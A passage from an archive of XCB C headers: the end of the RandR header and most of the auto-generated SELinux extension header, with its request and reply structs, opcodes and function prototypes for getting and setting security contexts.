the X server. * */ xcb_void_cookie_t xcb_randr_free_lease (xcb_connection_t *c, xcb_randr_lease_t lid, uint8_t terminate); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_lease_notify_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_lease_notify_t) */ void xcb_randr_lease_notify_next (xcb_randr_lease_notify_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_lease_notify_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_lease_notify_end (xcb_randr_lease_notify_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_notify_data_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_notify_data_t) */ void xcb_randr_notify_data_next (xcb_randr_notify_data_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_notify_data_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_notify_data_end (xcb_randr_notify_data_iterator_t i); #ifdef __cplusplus } #endif #endif /** * @} */ xcb/xselinux.h 0000644 00000156456 15246445047 0007404 0 ustar 00 /* * This file generated automatically from xselinux.xml by c_client.py. * Edit at your peril. */ /** * @defgroup XCB_SELinux_API XCB SELinux API * @brief SELinux XCB Protocol Implementation. * @{ **/ #ifndef __XSELINUX_H #define __XSELINUX_H #include "xcb.h" #include "xproto.h" #ifdef __cplusplus extern "C" { #endif #define XCB_SELINUX_MAJOR_VERSION 1 #define XCB_SELINUX_MINOR_VERSION 0 extern xcb_extension_t xcb_selinux_id; /** * @brief xcb_selinux_query_version_cookie_t **/ typedef struct xcb_selinux_query_version_cookie_t { unsigned int sequence; } xcb_selinux_query_version_cookie_t; /** Opcode for xcb_selinux_query_version. */ #define XCB_SELINUX_QUERY_VERSION 0 /** * @brief xcb_selinux_query_version_request_t **/ typedef struct xcb_selinux_query_version_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t client_major; uint8_t client_minor; } xcb_selinux_query_version_request_t; /** * @brief xcb_selinux_query_version_reply_t **/ typedef struct xcb_selinux_query_version_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t server_major; uint16_t server_minor; } xcb_selinux_query_version_reply_t; /** Opcode for xcb_selinux_set_device_create_context. */ #define XCB_SELINUX_SET_DEVICE_CREATE_CONTEXT 1 /** * @brief xcb_selinux_set_device_create_context_request_t **/ typedef struct xcb_selinux_set_device_create_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t context_len; } xcb_selinux_set_device_create_context_request_t; /** * @brief xcb_selinux_get_device_create_context_cookie_t **/ typedef struct xcb_selinux_get_device_create_context_cookie_t { unsigned int sequence; } xcb_selinux_get_device_create_context_cookie_t; /** Opcode for xcb_selinux_get_device_create_context. */ #define XCB_SELINUX_GET_DEVICE_CREATE_CONTEXT 2 /** * @brief xcb_selinux_get_device_create_context_request_t **/ typedef struct xcb_selinux_get_device_create_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_selinux_get_device_create_context_request_t; /** * @brief xcb_selinux_get_device_create_context_reply_t **/ typedef struct xcb_selinux_get_device_create_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_device_create_context_reply_t; /** Opcode for xcb_selinux_set_device_context. */ #define XCB_SELINUX_SET_DEVICE_CONTEXT 3 /** * @brief xcb_selinux_set_device_context_request_t **/ typedef struct xcb_selinux_set_device_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t device; uint32_t context_len; } xcb_selinux_set_device_context_request_t; /** * @brief xcb_selinux_get_device_context_cookie_t **/ typedef struct xcb_selinux_get_device_context_cookie_t { unsigned int sequence; } xcb_selinux_get_device_context_cookie_t; /** Opcode for xcb_selinux_get_device_context. */ #define XCB_SELINUX_GET_DEVICE_CONTEXT 4 /** * @brief xcb_selinux_get_device_context_request_t **/ typedef struct xcb_selinux_get_device_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t device; } xcb_selinux_get_device_context_request_t; /** * @brief xcb_selinux_get_device_context_reply_t **/ typedef struct xcb_selinux_get_device_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_device_context_reply_t; /** Opcode for xcb_selinux_set_window_create_context. */ #define XCB_SELINUX_SET_WINDOW_CREATE_CONTEXT 5 /** * @brief xcb_selinux_set_window_create_context_request_t **/ typedef struct xcb_selinux_set_window_create_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t context_len; } xcb_selinux_set_window_create_context_request_t; /** * @brief xcb_selinux_get_window_create_context_cookie_t **/ typedef struct xcb_selinux_get_window_create_context_cookie_t { unsigned int sequence; } xcb_selinux_get_window_create_context_cookie_t; /** Opcode for xcb_selinux_get_window_create_context. */ #define XCB_SELINUX_GET_WINDOW_CREATE_CONTEXT 6 /** * @brief xcb_selinux_get_window_create_context_request_t **/ typedef struct xcb_selinux_get_window_create_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_selinux_get_window_create_context_request_t; /** * @brief xcb_selinux_get_window_create_context_reply_t **/ typedef struct xcb_selinux_get_window_create_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_window_create_context_reply_t; /** * @brief xcb_selinux_get_window_context_cookie_t **/ typedef struct xcb_selinux_get_window_context_cookie_t { unsigned int sequence; } xcb_selinux_get_window_context_cookie_t; /** Opcode for xcb_selinux_get_window_context. */ #define XCB_SELINUX_GET_WINDOW_CONTEXT 7 /** * @brief xcb_selinux_get_window_context_request_t **/ typedef struct xcb_selinux_get_window_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_selinux_get_window_context_request_t; /** * @brief xcb_selinux_get_window_context_reply_t **/ typedef struct xcb_selinux_get_window_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_window_context_reply_t; /** * @brief xcb_selinux_list_item_t **/ typedef struct xcb_selinux_list_item_t { xcb_atom_t name; uint32_t object_context_len; uint32_t data_context_len; } xcb_selinux_list_item_t; /** * @brief xcb_selinux_list_item_iterator_t **/ typedef struct xcb_selinux_list_item_iterator_t { xcb_selinux_list_item_t *data; int rem; int index; } xcb_selinux_list_item_iterator_t; /** Opcode for xcb_selinux_set_property_create_context. */ #define XCB_SELINUX_SET_PROPERTY_CREATE_CONTEXT 8 /** * @brief xcb_selinux_set_property_create_context_request_t **/ typedef struct xcb_selinux_set_property_create_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t context_len; } xcb_selinux_set_property_create_context_request_t; /** * @brief xcb_selinux_get_property_create_context_cookie_t **/ typedef struct xcb_selinux_get_property_create_context_cookie_t { unsigned int sequence; } xcb_selinux_get_property_create_context_cookie_t; /** Opcode for xcb_selinux_get_property_create_context. */ #define XCB_SELINUX_GET_PROPERTY_CREATE_CONTEXT 9 /** * @brief xcb_selinux_get_property_create_context_request_t **/ typedef struct xcb_selinux_get_property_create_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_selinux_get_property_create_context_request_t; /** * @brief xcb_selinux_get_property_create_context_reply_t **/ typedef struct xcb_selinux_get_property_create_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_property_create_context_reply_t; /** Opcode for xcb_selinux_set_property_use_context. */ #define XCB_SELINUX_SET_PROPERTY_USE_CONTEXT 10 /** * @brief xcb_selinux_set_property_use_context_request_t **/ typedef struct xcb_selinux_set_property_use_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t context_len; } xcb_selinux_set_property_use_context_request_t; /** * @brief xcb_selinux_get_property_use_context_cookie_t **/ typedef struct xcb_selinux_get_property_use_context_cookie_t { unsigned int sequence; } xcb_selinux_get_property_use_context_cookie_t; /** Opcode for xcb_selinux_get_property_use_context. */ #define XCB_SELINUX_GET_PROPERTY_USE_CONTEXT 11 /** * @brief xcb_selinux_get_property_use_context_request_t **/ typedef struct xcb_selinux_get_property_use_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_selinux_get_property_use_context_request_t; /** * @brief xcb_selinux_get_property_use_context_reply_t **/ typedef struct xcb_selinux_get_property_use_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_property_use_context_reply_t; /** * @brief xcb_selinux_get_property_context_cookie_t **/ typedef struct xcb_selinux_get_property_context_cookie_t { unsigned int sequence; } xcb_selinux_get_property_context_cookie_t; /** Opcode for xcb_selinux_get_property_context. */ #define XCB_SELINUX_GET_PROPERTY_CONTEXT 12 /** * @brief xcb_selinux_get_property_context_request_t **/ typedef struct xcb_selinux_get_property_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; xcb_atom_t property; } xcb_selinux_get_property_context_request_t; /** * @brief xcb_selinux_get_property_context_reply_t **/ typedef struct xcb_selinux_get_property_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_property_context_reply_t; /** * @brief xcb_selinux_get_property_data_context_cookie_t **/ typedef struct xcb_selinux_get_property_data_context_cookie_t { unsigned int sequence; } xcb_selinux_get_property_data_context_cookie_t; /** Opcode for xcb_selinux_get_property_data_context. */ #define XCB_SELINUX_GET_PROPERTY_DATA_CONTEXT 13 /** * @brief xcb_selinux_get_property_data_context_request_t **/ typedef struct xcb_selinux_get_property_data_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; xcb_atom_t property; } xcb_selinux_get_property_data_context_request_t; /** * @brief xcb_selinux_get_property_data_context_reply_t **/ typedef struct xcb_selinux_get_property_data_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_property_data_context_reply_t; /** * @brief xcb_selinux_list_properties_cookie_t **/ typedef struct xcb_selinux_list_properties_cookie_t { unsigned int sequence; } xcb_selinux_list_properties_cookie_t; /** Opcode for xcb_selinux_list_properties. */ #define XCB_SELINUX_LIST_PROPERTIES 14 /** * @brief xcb_selinux_list_properties_request_t **/ typedef struct xcb_selinux_list_properties_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_selinux_list_properties_request_t; /** * @brief xcb_selinux_list_properties_reply_t **/ typedef struct xcb_selinux_list_properties_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t properties_len; uint8_t pad1[20]; } xcb_selinux_list_properties_reply_t; /** Opcode for xcb_selinux_set_selection_create_context. */ #define XCB_SELINUX_SET_SELECTION_CREATE_CONTEXT 15 /** * @brief xcb_selinux_set_selection_create_context_request_t **/ typedef struct xcb_selinux_set_selection_create_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t context_len; } xcb_selinux_set_selection_create_context_request_t; /** * @brief xcb_selinux_get_selection_create_context_cookie_t **/ typedef struct xcb_selinux_get_selection_create_context_cookie_t { unsigned int sequence; } xcb_selinux_get_selection_create_context_cookie_t; /** Opcode for xcb_selinux_get_selection_create_context. */ #define XCB_SELINUX_GET_SELECTION_CREATE_CONTEXT 16 /** * @brief xcb_selinux_get_selection_create_context_request_t **/ typedef struct xcb_selinux_get_selection_create_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_selinux_get_selection_create_context_request_t; /** * @brief xcb_selinux_get_selection_create_context_reply_t **/ typedef struct xcb_selinux_get_selection_create_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_selection_create_context_reply_t; /** Opcode for xcb_selinux_set_selection_use_context. */ #define XCB_SELINUX_SET_SELECTION_USE_CONTEXT 17 /** * @brief xcb_selinux_set_selection_use_context_request_t **/ typedef struct xcb_selinux_set_selection_use_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t context_len; } xcb_selinux_set_selection_use_context_request_t; /** * @brief xcb_selinux_get_selection_use_context_cookie_t **/ typedef struct xcb_selinux_get_selection_use_context_cookie_t { unsigned int sequence; } xcb_selinux_get_selection_use_context_cookie_t; /** Opcode for xcb_selinux_get_selection_use_context. */ #define XCB_SELINUX_GET_SELECTION_USE_CONTEXT 18 /** * @brief xcb_selinux_get_selection_use_context_request_t **/ typedef struct xcb_selinux_get_selection_use_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_selinux_get_selection_use_context_request_t; /** * @brief xcb_selinux_get_selection_use_context_reply_t **/ typedef struct xcb_selinux_get_selection_use_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_selection_use_context_reply_t; /** * @brief xcb_selinux_get_selection_context_cookie_t **/ typedef struct xcb_selinux_get_selection_context_cookie_t { unsigned int sequence; } xcb_selinux_get_selection_context_cookie_t; /** Opcode for xcb_selinux_get_selection_context. */ #define XCB_SELINUX_GET_SELECTION_CONTEXT 19 /** * @brief xcb_selinux_get_selection_context_request_t **/ typedef struct xcb_selinux_get_selection_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_atom_t selection; } xcb_selinux_get_selection_context_request_t; /** * @brief xcb_selinux_get_selection_context_reply_t **/ typedef struct xcb_selinux_get_selection_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_selection_context_reply_t; /** * @brief xcb_selinux_get_selection_data_context_cookie_t **/ typedef struct xcb_selinux_get_selection_data_context_cookie_t { unsigned int sequence; } xcb_selinux_get_selection_data_context_cookie_t; /** Opcode for xcb_selinux_get_selection_data_context. */ #define XCB_SELINUX_GET_SELECTION_DATA_CONTEXT 20 /** * @brief xcb_selinux_get_selection_data_context_request_t **/ typedef struct xcb_selinux_get_selection_data_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_atom_t selection; } xcb_selinux_get_selection_data_context_request_t; /** * @brief xcb_selinux_get_selection_data_context_reply_t **/ typedef struct xcb_selinux_get_selection_data_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_selection_data_context_reply_t; /** * @brief xcb_selinux_list_selections_cookie_t **/ typedef struct xcb_selinux_list_selections_cookie_t { unsigned int sequence; } xcb_selinux_list_selections_cookie_t; /** Opcode for xcb_selinux_list_selections. */ #define XCB_SELINUX_LIST_SELECTIONS 21 /** * @brief xcb_selinux_list_selections_request_t **/ typedef struct xcb_selinux_list_selections_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_selinux_list_selections_request_t; /** * @brief xcb_selinux_list_selections_reply_t **/ typedef struct xcb_selinux_list_selections_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t selections_len; uint8_t pad1[20]; } xcb_selinux_list_selections_reply_t; /** * @brief xcb_selinux_get_client_context_cookie_t **/ typedef struct xcb_selinux_get_client_context_cookie_t { unsigned int sequence; } xcb_selinux_get_client_context_cookie_t; /** Opcode for xcb_selinux_get_client_context. */ #define XCB_SELINUX_GET_CLIENT_CONTEXT 22 /** * @brief xcb_selinux_get_client_context_request_t **/ typedef struct xcb_selinux_get_client_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t resource; } xcb_selinux_get_client_context_request_t; /** * @brief xcb_selinux_get_client_context_reply_t **/ typedef struct xcb_selinux_get_client_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context_len; uint8_t pad1[20]; } xcb_selinux_get_client_context_reply_t; /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_selinux_query_version_cookie_t xcb_selinux_query_version (xcb_connection_t *c, uint8_t client_major, uint8_t client_minor); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_selinux_query_version_cookie_t xcb_selinux_query_version_unchecked (xcb_connection_t *c, uint8_t client_major, uint8_t client_minor); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_selinux_query_version_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_selinux_query_version_reply_t * xcb_selinux_query_version_reply (xcb_connection_t *c, xcb_selinux_query_version_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_selinux_set_device_create_context_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_selinux_set_device_create_context_checked (xcb_connection_t *c, uint32_t context_len, const char *context); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_selinux_set_device_create_context (xcb_connection_t *c, uint32_t context_len, const char *context); char * xcb_selinux_set_device_create_context_context (const xcb_selinux_set_device_create_context_request_t *R); int xcb_selinux_set_device_create_context_context_length (const xcb_selinux_set_device_create_context_request_t *R); xcb_generic_iterator_t xcb_selinux_set_device_create_context_context_end (const xcb_selinux_set_device_create_context_request_t *R); int xcb_selinux_get_device_create_context_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_selinux_get_device_create_context_cookie_t xcb_selinux_get_device_create_context (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_selinux_get_device_create_context_cookie_t xcb_selinux_get_device_create_context_unchecked (xcb_connection_t *c); char * xcb_selinux_get_device_create_context_context (const xcb_selinux_get_device_create_context_reply_t *R); int xcb_selinux_get_device_create_context_context_length (const xcb_selinux_get_device_create_context_reply_t *R); xcb_generic_iterator_t xcb_selinux_get_device_create_context_context_end (const xcb_selinux_get_device_create_context_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_selinux_get_device_create_context_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_selinux_get_device_create_context_reply_t * xcb_selinux_get_device_create_context_reply (xcb_connection_t *c, xcb_selinux_get_device_create_context_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_selinux_set_device_context_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_selinux_set_device_context_checked (xcb_connection_t *c, uint32_t device, uint32_t context_len, const char *context); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_selinux_set_device_context (xcb_connection_t *c, uint32_t device, uint32_t context_len, const char *context); char * xcb_selinux_set_device_context_context (const xcb_selinux_set_device_context_request_t *R); int xcb_selinux_set_device_context_context_length (const xcb_selinux_set_device_context_request_t *R); xcb_generic_iterator_t xcb_selinux_set_device_context_context_end (const xcb_selinux_set_device_context_request_t *R); int xcb_selinux_get_device_context_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_selinux_get_device_context_cookie_t xcb_selinux_get_device_context (xcb_connection_t *c, uint32_t device); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_selinux_get_device_context_cookie_t xcb_selinux_get_device_context_unchecked (xcb_connection_t *c, uint32_t device); char * xcb_selinux_get_device_context_context (const xcb_selinux_get_device_context_reply_t *R); int xcb_selinux_get_device_context_context_length (const xcb_selinux_get_device_context_reply_t *R); xcb_generic_iterator_t xcb_selinux_get_device_context_context_end (const xcb_selinux_get_device_context_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_selinux_get_device_context_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_selinux_get_device_context_reply_t * xcb_selinux_get_device_context_reply (xcb_connection_t *c, xcb_selinux_get_device_context_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_selinux_set_window_create_context_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_selinux_set_window_create_context_checked (xcb_connection_t *c, uint32_t context_len, const char *context); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_selinux_set_window_create_context (xcb_connection_t *c, uint32_t context_len, const char *context); char * xcb_selinux_set_window_create_context_context (const xcb_selinux_set_window_create_context_request_t *R); int xcb_selinux_set_window_create_context_context_length (const xcb_selinux_set_window_create_context_request_t *R); xcb_generic_iterator_t xcb_selinux_set_window_create_context_context_end (const xcb_selinux_set_window_create_context_request_t *R); int xcb_selinux_get_window_create_context_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_selinux_get_window_create_context_cookie_t xcb_selinux_get_window_create_context (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_selinux_get_window_create_context_cookie_t xcb_selinux_get_window_create_context_unchecked (xcb_connection_t *c); char * xcb_selinux_get_window_create_context_context (const xcb_selinux_get_window_create_context_reply_t *R); int xcb_selinux_get_window_create_context_context_length (const xcb_selinux_get_window_create_context_reply_t *R); xcb_generic_iterator_t xcb_selinux_get_window_create_context_context_end (const xcb_selinux_get_window_create_context_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_selinux_get_window_create_context_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_selinux_get_window_create_context_reply_t * xcb_selinux_get_window_create_context_reply (xcb_connection_t *c, xcb_selinux_get_window_create_context_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_selinux_get_window_context_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_selinux_get_window_context_cookie_t xcb_selinux_get_window_context (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_selinux_get_window_context_cookie_t xcb_selinux_get_window_context_unchecked (xcb_connection_t *c, xcb_window_t window); char * xcb_selinux_get_window_context_context (const xcb_selinux_get_window_context_reply_t *R); int xcb_selinux_get_window_context_context_length (const x